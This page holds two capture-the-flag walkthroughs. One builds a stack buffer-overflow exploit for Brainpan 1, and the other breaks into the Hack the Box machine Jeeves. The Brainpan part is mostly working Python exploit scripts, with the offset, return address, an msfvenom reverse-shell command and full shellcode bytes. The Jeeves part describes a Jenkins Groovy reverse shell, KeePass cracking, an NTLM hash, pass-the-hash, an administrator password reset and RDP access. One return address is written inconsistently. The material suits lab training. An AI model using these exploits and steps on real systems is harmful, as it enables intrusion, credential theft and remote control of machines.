badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer = "A"*524 + "B"*4 + badchars + "C" * (1000-524-4-len(badchars))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('127.0.0.1',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()

Running the above exploit code and following ESP in dump shows that all the characters from the payload are reflected in ESP:

Checking for bad characters – Immunity Debugger

Where have we gone so far?

  • Fuzzed the application with a buffer of 1000 bytes
  • Located a space for our shellcode in the ESP register
  • Found the exact offset where EIP is overwritten
  • Found bad characters which may affect our payload and terminate its execution

What’s left to do?

  • -> Find a return address an instruction that jumps to ESP (i.e. point the next instruction to reach an address located within the ESP register) and redirect the execution flow
  • -> Generate a shellcode payload for the target platform (Windows/x86)
  • -> Swap shellcode and test the exploit locally
  • -> Run the exploit on the target machine (Brainpan)

Finding a return address

As the buffer is located within the ESP register, we need an instruction that jumps to ESP like jmp esp. The opcode equivalent of this instruction is \xff\e4 – to convert an instruction to an opcode you could use the nasm_shell utility which is part of the metasploit framework:

jmp esp – \xff\xe4

To find and address which has an opcode of jmp esp you could use the Immunity Debugger’s mona module written in python created by Corelan (you will have to install python on the Windows VM and import the mona module to Immunity Debugger – describing how to do this in details is out of scope in this article)  To find a jmp esp address, first locate a module without any advanced memory protections like ASLR:

!mona modules

After typing the above command in the Immunity Debugger console a list of modules that the application loads should be listed:

finding a return address - !mona modules - vulnhub - Brainpan - CTF - walkthrough - d7x - PromiseLabs - blog
brainpan.exe – no ASLR or any other type of memory protection

To find an address containing a jmp esp instruction type:

!mona find -s "\xff\xe4" -m brainpan.exe
jmp esp instruction at address 0x3111712f3

There should be a jmp esp instruction at 0x3111712f3. Using Immunity Debugger’s go to address functionality shows that the instruction at  0x3111712f3 is indeed a jmp esp one:

Brainpan 1 CTF walkthrough - Introduction to exploit development - d7x - PromiseLabs - blog
Go to address 0x311712f3 – jmp esp instruction

Now to jump to this address we just have to overwrite EIP with the above address:

#!/usr/bin/python
 
import sys,socket
 
esp = "\xF3\x12\x17\x31"
nops = "\x90"*16
shellcode = "\xbe\x32\x12\snip\x18\x5d\x56"
 
payload = "a"*524 + esp + nops + shellcode
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
 
print s.recv(1024)
s.send(payload)
print s.recv(1024)
 
s.close()

Note that the bytes of the return address is written in a reverse order as the x86 architecture stores address in this way.  To follow the execution flow, go to the address in Immunity Debugger and press F2 to set a breakpoint. Then press F9 to run the program and run the exploit code:

Reaching a breakpoint at 0x3111712f3

By pressing F8, the debugger will proceed with the flow of the application and will move an instruction forward (i.e. to the contents of the ESP register):

ESP – reaching our payload

As the screenshot above shows, the application has reached the buffer of “C” letters sent through our payload. Pressing F8 would go to the next instruction and so on, and pressing F9 would continue the application execution to its end. Where have we gone so far?

  • Fuzzed the application with a buffer of 1000 bytes
  • Located a space for our shellcode in the ESP register
  • Found the exact offset where EIP is overwritten
  • Found bad characters which may affect our payload and terminate its execution
  • Found a return address
  • What’s left to do?
  • -> Generate a shellcode payload for the target platform (Windows/x86)
  • -> Swap shellcode and test the exploit locally
  • -> Run the exploit on the target machine (Brainpan)

Generating shellcode

Generating shellcode is something anyone reading this should know, so unnecessary details will not be described, however keep in mind that you have to exclude the bad characters found earlier:

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<local IP> LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a' -f python

Exploit code:

import time, socket
shellcode =  ""
shellcode += "\xd9\xc0\xba\xa5\x9e\x61\xb9\xd9\x74\x24\xf4\x5d\x31"
shellcode += "\xc9\xb1\x52\x83\xed\xfc\x31\x55\x13\x03\xf0\x8d\x83"
shellcode += "\x4c\x06\x59\xc1\xaf\xf6\x9a\xa6\x26\x13\xab\xe6\x5d"
shellcode += "\x50\x9c\xd6\x16\x34\x11\x9c\x7b\xac\xa2\xd0\x53\xc3"
shellcode += "\x03\x5e\x82\xea\x94\xf3\xf6\x6d\x17\x0e\x2b\x4d\x26"
shellcode += "\xc1\x3e\x8c\x6f\x3c\xb2\xdc\x38\x4a\x61\xf0\x4d\x06"
shellcode += "\xba\x7b\x1d\x86\xba\x98\xd6\xa9\xeb\x0f\x6c\xf0\x2b"
shellcode += "\xae\xa1\x88\x65\xa8\xa6\xb5\x3c\x43\x1c\x41\xbf\x85"
shellcode += "\x6c\xaa\x6c\xe8\x40\x59\x6c\x2d\x66\x82\x1b\x47\x94"
shellcode += "\x3f\x1c\x9c\xe6\x9b\xa9\x06\x40\x6f\x09\xe2\x70\xbc"
shellcode += "\xcc\x61\x7e\x09\x9a\x2d\x63\x8c\x4f\x46\x9f\x05\x6e"
shellcode += "\x88\x29\x5d\x55\x0c\x71\x05\xf4\x15\xdf\xe8\x09\x45"
shellcode += "\x80\x55\xac\x0e\x2d\x81\xdd\x4d\x3a\x66\xec\x6d\xba"
shellcode += "\xe0\x67\x1e\x88\xaf\xd3\x88\xa0\x38\xfa\x4f\xc6\x12"
shellcode += "\xba\xdf\x39\x9d\xbb\xf6\xfd\xc9\xeb\x60\xd7\x71\x60"
shellcode += "\x70\xd8\xa7\x27\x20\x76\x18\x88\x90\x36\xc8\x60\xfa"
shellcode += "\xb8\x37\x90\x05\x13\x50\x3b\xfc\xf4\x9f\x14\xff\x8f"
shellcode += "\x48\x67\xff\x8e\x33\xee\x19\xfa\x53\xa7\xb2\x93\xca"
shellcode += "\xe2\x48\x05\x12\x39\x35\x05\x98\xce\xca\xc8\x69\xba"
shellcode += "\xd8\xbd\x99\xf1\x82\x68\xa5\x2f\xaa\xf7\x34\xb4\x2a"
shellcode += "\x71\x25\x63\x7d\xd6\x9b\x7a\xeb\xca\x82\xd4\x09\x17"
shellcode += "\x52\x1e\x89\xcc\xa7\xa1\x10\x80\x9c\x85\x02\x5c\x1c"
shellcode += "\x82\x76\x30\x4b\x5c\x20\xf6\x25\x2e\x9a\xa0\x9a\xf8"
shellcode += "\x4a\x34\xd1\x3a\x0c\x39\x3c\xcd\xf0\x88\xe9\x88\x0f"
shellcode += "\x24\x7e\x1d\x68\x58\x1e\xe2\xa3\xd8\x2e\xa9\xe9\x49"
shellcode += "\xa7\x74\x78\xc8\xaa\x86\x57\x0f\xd3\x04\x5d\xf0\x20"
shellcode += "\x14\x14\xf5\x6d\x92\xc5\x87\xfe\x77\xe9\x34\xfe\x5d"
buffer = "A"*524 + "\xf3\x12\x17\x31" + "\x90"*8 + shellcode + "C"* (1000-524-4-8)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.139',9999))
time.sleep(1)
s.send(buffer + "\r\n")
s.close()

Understanding a NOP Sled

There are some imperfections in the debugger, so an exploit that works in gdb may fail in a real shell. This happens because environment variables and other details may cause the location of the stack to change slightly.

The usual solution for this problem is a NOP Sled–a long series of “90” bytes, which do nothing when processed and proceed to the next instruction.   we use a 64-byte NOP Sled  [64 ‘\x90’ (hexadecimal 90) ]

Note that a few NOP sleds (no-operations byte of NOPs are put prior to the shellcode payload to leave for it  some space to decode itself. Otherwise, the payload would not execute. To test the exploit code and make sure the execution flow reaches the shellcode generated by msfvenom, run the vulnerable application and Immunity Debugger, set a breakpoint at the return address and press F9 or hit run in Immunity Debugger, then run the exploit and press F8 in the debugger to step into the contents of the ESP register:

ESP: 8 bytes of NOP sled + shellcode

A the screenshot shows, the execution flow of the program is now into the 8 bytes of NOP sled through the payload of the exploit followed by the shellcode. Allowing the program to run would execute the payload completely and spawn a reverse shell back to the attacker’s machine:

Running exploit in a simulated environment

The exploit seems to be working, so it’s now time to run it against the target (brainpan).

Phase 4: Exploiting the target machine

At this point all that’s left to do in order to run the exploit against the target is to change the IP in the exploit code to match the one on target, in my case  172.16.253.130 A few things to remember:

-> In a local environment, especially when not using the bridged mode of the virtualization software you use, make sure the target host can reach the attacker’s IP which is used when generating the payload using msfvenom

-> In case  the exploit is not successful, be sure to reset the VM as the buffer overflow results in a DoS condition as well making the service unavailable. You need to restart it in order to be able to run the exploit again. 

-> In case you are still unable to get a shell on the attacker’s host you may run the exploit on the Windows 7 VM against the target brainpan 1 and debug it using Immunity Debugger. Make sure the execution flow reaches the return address and that the shellcode is being executed. (you may need to reboot the target VM several times in case you make any changes to the exploit)

-> In case you are rebooting the VM, wait for a minute before trying to exploit, and make sure to test it using nc. In my case it required at least half a minute for the daemon to fire up and be available. 

-> The time.sleep(1) function is needed for the payload to be sent to the server. If you have removed it and you do not know what you are actually doing – put it back, It is there for a reason. You could also remove it and try putting s.recv(1024), or increase the delay with a few more seconds. 

Getting a shell on target Brainpan 1 - vulnhub CTF through, by d7x - PromiseLabs - blog
Getting a shell on target Brainpan 1

This was just the first part of the walkthrough on Brainpan 1. The next part will be published soon.

Final script  :

#!/usr/bin/python

import sys,socket

esp = “\xF3\x12\x17\x31” #JMP ESP adress in littleendian format
nops = “\x90″*16
shellcode = “\xbe\x32\x12\xe1\xfa\xda\xdd\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x31\x31\x70\x13\x83\xc0\x04\x03\x70\x3d\xf0\x14\x06\xa9\x76\xd6\xf7\x29\x17\x5e\x12\x18\x17\x04\x56\x0a\xa7\x4e\x3a\xa6\x4c\x02\xaf\x3d\x20\x8b\xc0\xf6\x8f\xed\xef\x07\xa3\xce\x6e\x8b\xbe\x02\x51\xb2\x70\x57\x90\xf3\x6d\x9a\xc0\xac\xfa\x09\xf5\xd9\xb7\x91\x7e\x91\x56\x92\x63\x61\x58\xb3\x35\xfa\x03\x13\xb7\x2f\x38\x1a\xaf\x2c\x05\xd4\x44\x86\xf1\xe7\x8c\xd7\xfa\x44\xf1\xd8\x08\x94\x35\xde\xf2\xe3\x4f\x1d\x8e\xf3\x8b\x5c\x54\x71\x08\xc6\x1f\x21\xf4\xf7\xcc\xb4\x7f\xfb\xb9\xb3\xd8\x1f\x3f\x17\x53\x1b\xb4\x96\xb4\xaa\x8e\xbc\x10\xf7\x55\xdc\x01\x5d\x3b\xe1\x52\x3e\xe4\x47\x18\xd2\xf1\xf5\x43\xb8\x04\x8b\xf9\x8e\x07\x93\x01\xbe\x6f\xa2\x8a\x51\xf7\x3b\x59\x16\x07\x76\xc0\x3e\x80\xdf\x90\x03\xcd\xdf\x4e\x47\xe8\x63\x7b\x37\x0f\x7b\x0e\x32\x4b\x3b\xe2\x4e\xc4\xae\x04\xfd\xe5\xfa\x66\x60\x76\x66\x47\x07\xfe\x0d\x97\xb8\x4b\x37\xcc\x5d\xdb\xde\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\x12\x31\x46\x12\x83\xc6\x04\x03\x0d\x39\x2e\xa8\xa0\x9e\x59\xb0\x91\x63\xf5\x5d\x17\xed\x18\x11\x71\x20\x5a\xc1\x24\x0a\x64\x2b\x56\x23\xe2\x4a\x3e\x74\xbc\x1e\x3e\x1c\xbf\x60\x3f\x66\x36\x81\x8f\xfe\x19\x13\xbc\x4d\x9a\x1a\xa3\x7f\x1d\x4e\x4b\xee\x31\x1c\xe3\x86\x62\xcd\x91\x3f\xf4\xf2\x07\x93\x8f\x14\x17\x18\x5d\x56”
#shellcode = windows calc
payload = “A”*524 + esp + nops + shellcode

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect((‘127.0.0.1’,9999))

print s.recv(1024)
s.send(payload)
print s.recv(1024)

s.close()

shellcode :

https://github.com/puckiestyle/python/blob/master/brainpan1-shell.py

Author : Jacco Straathof

HTB – Jeeves

Today we are going to solve another CTF Challenge “Jeeves”. This VM is also developed by Hack the Box, Jeeves is a Retired Lab and there are multiple ways to breach into this VM. In this lab, we have escalated root privilege in 3 different ways .

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

Penetrating Methodology

  • Network Scanning
  • Enumeration
  • Exploiting Script Console Groovy
  • Capture the user.txt
  • Privilege Escalation
  • Capture the root.txt Flag

Let’s Begin!!

Network Scanning

As these labs are only available online, therefore, they have a static IP. Jeeves Lab has IP: 10.10.10.63.

Now, as always let’s begin our hacking with the port enumeration.

Looking around its result we have found that ports 22, 80, 135, 445 and 50000 are open, and moreover, port 135 and 445 were pointing towards Windows operating system.

Subsequently, first we checked web service and explored target IP in a web browser and it was put up by “Ask Jeeves search engine” webpage. So we tried to search some website such as google.com and a new web page represented by the fake error page come up in front of us.

On browsing port 50000 in the Web browser give us to HTTP 404 Error page.

Enumeration

Then we decided to use OWASP Dirbuster for directory brute force attack.

From its result, we found so many directories but we drive with /askjeeves for further process.

So when we had explored 10.10.10.63:50000/askjeeves it leads us to “Jenkins Dashboard”. Oh yes!! It was WOW time for us because we knew that there are so many ways to exploit Jenkins. So we move into the “Manage Jenkins” option because it was the spine and abuse was pretty soothing.

Exploiting Jenkins

There were so many options, but we were interested in the Script Console because Jenkins has a very nice Groovy script console that allows someone to execute arbitrary Groovy scripts within the Jenkins master runtime.

We have found that Java reverse shell from GitHub, so we copied the code and modified its local host and port according to our specifications.

Then we start Netcat listener and run over Groovy Script to access the reverse connection of the victim. From the image below, you can see that we have access to the tty shell of the victim’s machine.

As we love the meterpreter shell, therefore, we load the Metasploit framework and execute commands below.

Copy the highlighted text for powershell.exe and Paste it inside CMD shell as shown in the next image.

Paste malicious code here in netcat.

You will receive a meterpreter session of the victim’s machine in your Metasploit framework and then finish the task by grabbing the user.txt and root.txt files:

But we don’t have currently NT AUTHORITY\SYSTEM permission, but we know the techniques we used in Tally CTF to gain NT AUTHORITY\SYSTEM permission.

Privilege Escalation

Therefore taking help from our previous article “Tally” we executed below commands and successfully gained NT AUTHORITY\SYSTEM permission

Let me tell you that we have solved so many of Hack the Box’s CTF challenges, some of which were framed using the Windows Operating System, and we have always grabbed the user.txt file from within a folder that is owned by any username and root.txt form in the Administrator folder, and both of these folders are present in C:\Users

Similarly, you can also observe the same thing here and maybe you have my intention of the above words. So let’s first grab the user.txt file from inside /kohsuke/Desktop.

COOL!!! We have captured the 1st flag.

Then we go to the root.txt file, but it was a bit tricky to get the root.txt file. Because the author has a hidden root.txt file using some ADS technique( Windows Alternate Data Streams) and to grab that file, you can execute the following commands.

Hurray!! /R directory reveals root.txt file and we have successfully completed the second task.

2nd Method

When you have fresh meterpreter session 1 then move into /document directory and download CEH.kdbx file. Here also we took help from our previous article TALLY.

Now run the python script that extracts a HashCat/john crackable hash from KeePass 1.x/2.X databases.

Next, we used John the ripper to decrypt the contents of the “passkey,” using the following command.

so we found the master-key “moonshine1” for keepass2 which is an application used for hiding passwords of your system, then you need to install it (keepass2) using the following command.

After installing, run the below command and submit “moonshine1” in the field of the master key.

Inside CEH we found so many credentials, we copied all passwords from here and paste inside a text file and got few passwords and one NTLM hash value: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Awesome!!! We have meterpreter session 2 with proper NT AUTHORITY\SYSTEM permission, now use the above steps to get the root.txt file.

Note: we have rebooted the target’s VM before starting the 2nd method.

At the time when you have fresh meterpreter session 2 (via psexec) then execute the following command to enable remote desktop service in victim’s machine.

Now we have the victim command prompt with administrator privilege, so we can change the user administrator password directly by using the net user command.

Now open a new terminal in your Kali Linux and type rdesktop 10.10.10.63 command to access remote desktop services of victim’s machine and after that submit credential administrator: 123 for login.

BOOOOOM!!! Look at the screen of our victim, now let’s grab the root flag and enjoy this GUI mode.

Finding user.txt is quite easy you can try on your own. To grab the root.txt flag open the CMD prompt and type following command ad done above.

 Enjoy Hacking!!!!

Author: AArti Singh